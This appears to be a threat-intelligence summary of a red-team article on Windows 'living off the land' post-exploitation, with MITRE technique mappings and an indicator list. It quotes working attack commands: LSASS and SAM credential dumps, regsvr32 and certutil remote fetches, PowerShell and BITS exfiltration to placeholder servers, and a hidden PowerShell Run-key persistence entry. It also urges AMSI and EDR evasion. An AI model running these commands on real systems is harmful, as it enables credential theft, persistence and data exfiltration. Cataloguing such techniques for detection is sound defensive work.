The article explains how red teamers perform full post-exploitation operations by “living off the land” — abusing built-in Windows utilities (PowerShell, WMI, certutil, regsvr32, mshta, MSBuild, netsh, etc.) for reconnaissance, credential harvesting, lateral movement, persistence, and exfiltration without uploading custom binaries. It also stresses that by 2025 many classic LOLBin techniques (LSASS dumps, certutil downloads, nltest/dsquery/setspn enumeration, WMI remote execution) are noisy on modern EDRs and recommends layering AMSI bypasses, direct syscalls, process injection, memory-only execution and behavioral blending to avoid detection. #Mimikatz #MSBuild
Keypoints
- Living off the land (LOL) uses native Windows binaries and scripts (PowerShell, WMI, certutil, regsvr32, mshta, MSBuild, netsh, etc.) to avoid signature-based detection and blend with legitimate admin activity.
- Initial reconnaissance relies on low-footprint enumeration (system info, local groups, running processes, ARP cache) plus domain enumeration via PowerShell/ADSI or native tools like nltest, dsquery and setspn.
- Credential harvesting techniques include LSASS memory dumps via rundll32/comsvcs, registry hive extraction (SAM/SYSTEM/SECURITY), PowerShell history, browser/FTP config files, DPAPI/credential manager extraction, and Kerberoasting.
- Lateral movement options using only native tooling include PowerShell Remoting (WinRM), WMI remote execution, DCOM-based remote COM invocation, scheduled tasks, remote services, and netsh portproxy pivoting.
- Persistence methods covered range from registry Run keys and Startup folder to scheduled tasks, WMI event subscriptions, Winlogon modifications, and service-based persistence, with guidance on OPSEC and blending.
- Data exfiltration strategies use native channels: PowerShell HTTP(S) POST, certutil, BITS, SMB file copy, DNS/ICMP tunneling, and email/Outlook automation, with chunking and throttling guidance for stealth.
- The 2025 detection reality: many classic LOLBin techniques are now monitored; successful operations require additional evasion layers (AMSI bypass, direct syscalls, process injection, memory-only execution, custom tool modifications, and behavioral blending).
MITRE Techniques
- [T1566 ] Phishing – Initial access via phishing campaigns: ‘I’d spent two days carefully phishing my way into a financial services company.’
- [T1003 ] OS Credential Dumping – Dumping credentials from LSASS and registry hives for offline parsing: ‘rundll32.exe C:WindowsSystem32comsvcs.dll, MiniDump $lsassPid C:templsass.dmp full’ and ‘reg save HKLMSAM C:tempsam.hive’.
- [T1059.001 ] PowerShell – Scripting and in-memory command execution for enumeration, execution, and exfiltration: ‘Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber’ and ‘Invoke-RestMethod -Uri “http://your-exfil-server.com/upload” -Method POST -Body $fileContent’.
- [T1047 ] Windows Management Instrumentation – Remote enumeration and remote process creation via WMI: ‘Get-WmiObject -Class Win32_OperatingSystem -ComputerName TARGET-PC’ and ‘Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList “cmd.exe /c whoami > C:tempoutput.txt” -ComputerName TARGET-PC’.
- [T1218 ] Signed Binary Proxy Execution – Abusing signed Microsoft binaries to execute code (regsvr32, mshta, MSBuild, rundll32, certutil): ‘regsvr32.exe /s /n /u /i:http://your-server.com/bypass.sct scrobj.dll’.
- [T1021 ] Remote Services – Use of WinRM/PowerShell Remoting for lateral movement and remote command execution: ‘Enter-PSSession -ComputerName TARGET-PC -Credential (Get-Credential)’.
- [T1053 ] Scheduled Task/Job – Remote execution and persistence via schtasks or Register-ScheduledTask: ‘schtasks /create /tn “WindowsUpdate” /tr “cmd.exe /c whoami > C:tempoutput.txt” /sc once /st 00:00 /S TARGET-PC /U DOMAINusername /P password’.
- [T1547 ] Boot or Logon Autostart Execution – Persistence via registry Run keys and Startup folder: ‘New-ItemProperty -Path “HKCU:SoftwareMicrosoftWindowsCurrentVersionRun” -Name “OneDriveUpdate” -Value “powershell.exe -WindowStyle Hidden -NoProfile -Command IEX (…)”‘.
- [T1546 ] Event Triggered Execution – WMI event subscriptions used to trigger payloads on system events: ‘Set-WmiInstance -Namespace rootsubscription -Class __EventFilter -Arguments $filterArgs’ and binding to CommandLineEventConsumer.
- [T1105 ] Ingress Tool Transfer – Downloading or transferring tools using native utilities (certutil, BITS, PowerShell): ‘certutil.exe -urlcache -split -f http://your-server.com/upload C:tempupload.txt’ and ‘bitsadmin /addfile ExfilJob C:sensitivedata.zip http://your-server.com/upload/data.zip’.
- [T1569 ] System Services – Service creation and execution for lateral movement or persistence via sc.exe: ‘sc.exe TARGET-PC create UpdateService binPath= “cmd.exe /c whoami > C:tempoutput.txt” start= demand’.
Indicators of Compromise
- [File names ] Artifacts and dump files created or referenced during operations – lsass.dmp, sam.hive, and other files such as system.hive, bypass.sct, update.hta, build.xml.
- [Executable names ] Native binaries abused for execution and transfer – certutil.exe, regsvr32.exe, mshta.exe, MSBuild.exe, rundll32.exe (examples often appear in command-lines used for downloads or remote execution).
- [Domains / URLs ] C2 and payload hosting domains used in examples – your-c2.com, your-server.com, and another example your-exfil-server.com (placeholders in article examples for download/exfil endpoints).
- [IP addresses / Hosts ] Example network addresses and placeholders used for pivots and callbacks – 192.168.10.50 (internal target), 192.168.1.* (ping sweep subnet example), attacker-ip (reverse shell placeholder), and 10.10.10.50 (pivot example).
- [Registry keys ] Persistence and configuration locations referenced as targets for modification – HKCU:SoftwareMicrosoftWindowsCurrentVersionRun, HKLM:SoftwareMicrosoftWindowsCurrentVersionRun (used for run keys and startup persistence).
Read more: https://xbz0n.sh/blog/living-off-the-land-windows